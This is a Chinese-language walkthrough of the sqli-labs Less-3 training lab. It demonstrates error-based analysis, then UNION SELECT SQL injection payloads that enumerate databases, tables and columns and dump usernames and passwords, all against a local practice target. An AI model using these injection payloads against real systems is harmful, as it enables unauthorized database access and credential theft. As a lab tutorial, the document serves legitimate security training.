前序
到了这一关,我们通过学习前面两关要初步掌握到,如何分析SQL语句的错误信息,更重要的是要掌握如何分析这些错误,从而得到SQL漏洞,并且判断其是什么类型的漏洞。这是非常重要的一点。
声明
由于我搭建了不同的靶场,以及测试数据库,所以查询的结果比较多,大家可以忽略其中的一些,只需要看与本靶场相关的表单数据即可。
Less3
先注入?id=1’找到其报错信息,进行分析!
使用URL为:
http://127.0.0.1/sqli-labs/Less-3/?id=1'
分析其报错结果
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'') LIMIT 0,1' at line 1
**''1'') LIMIT 0,1'我们可以知道报错原因是多了一个单引号,但是在对1进行包裹的时候,存在注入漏洞,那么我们接着去尝试直接在URL里面输写:**
http://127.0.0.1/sqli-labs/Less-3/?id=1')
我们接着去查看报错的结果信息为:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '') LIMIT 0,1' at line 1
所以我们可以轻而易举的推出来,原来的正确的SQL语句在包裹时应该为(’’)所以我们可以这样去修改URL:
http://127.0.0.1/sqli-labs/Less-3/?id=1') --+
查看其结果:
很显然能成功进入!!
获取数据信息
既然获得了这些之后,我们可以根据前两关所提及的一些方法进行查询;
直接使用order by语句进行排序查询,看一下有几个属性列(我已经查询过1,2,3列,所以直接查询第四个出结果)
使用的URL为:
http://127.0.0.1/sqli-labs/Less-3/?id=1') order by 4 --+
直接使用这个语句后我们可以发现报错,报错信息为:
所以我们知道表里有三个属性列!
之后我们继续进行union select查询;
使用的URL为:
http://127.0.0.1/sqli-labs/Less-3/?id=-1') union select 1,2,3 --+
查询结果为:
这个查询的目的,要再次强调一下union select的重要性,这样我们可以利用其返回的位置能显示出来的信息,来完成查询所需要数据在哪里显示;
直接SQL注入
首先使用的SQL语句为:
SELECT * FROM users WHERE id=('-1') union select 1,2,group_concat(schema_name) from information_schema.schemata;
查询结果为:
可以看出我们有多少数据库可以显示出来,其实可以一一进入这些数据库查一下都有哪些需要的数据,但是我因为麻烦所以选择直接进入security数据库;
接下来进行查表,所使用的SQL语句为:
SELECT * FROM users WHERE id=('-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security';
查询结果为:
在这之后我们需要知道username,password所以我们需要进行属性列查询使用的该SQL语句为:
SELECT * FROM users WHERE id=('-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users';
查询结果为:
根据这个得到结果,我们可以得出所需要的数据均存在username和password中;
所以我们进行以下的操作,使用该SQL语句得出结果:
SELECT * FROM users WHERE id=('-1') union select 1,2 ,group_concat(concat_ws('~',username,password))from security.users;
第三关也就到此结束了….